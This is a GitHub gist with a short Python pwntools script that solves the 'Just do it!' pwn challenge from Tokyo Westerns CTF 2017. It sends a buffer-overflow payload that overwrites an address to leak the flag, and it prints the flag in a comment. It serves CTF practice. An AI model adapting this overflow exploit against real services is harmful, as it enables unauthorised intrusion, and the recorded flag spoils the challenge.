Skip to content

Instantly share code, notes, and snippets.

@faidamine
Last active September 4, 2017 08:32
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save faidamine/ba76aa307f8f1fa90973d4ec51dbc668 to your computer and use it in GitHub Desktop.
Save faidamine/ba76aa307f8f1fa90973d4ec51dbc668 to your computer and use it in GitHub Desktop.
#usr/bin/python
#Faid Mohammed Amine
#Fb : piratuer
from pwn import *
### [Pwn] Tokyo Westerns CTF 3rd 2017 - Just do it!
s = remote('pwn1.chal.ctf.westerns.tokyo',12345)
offset = 20
NOP = "\x90"
#0x0804A080
Flag_add = "\x80\xa0\x04\x08"
payload = NOP * offset + Flag_add
s.send(payload + '\n')
flag = s.recv(1024)[72:].strip()
print flag
#TWCTF{pwnable_warmup_I_did_it!}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment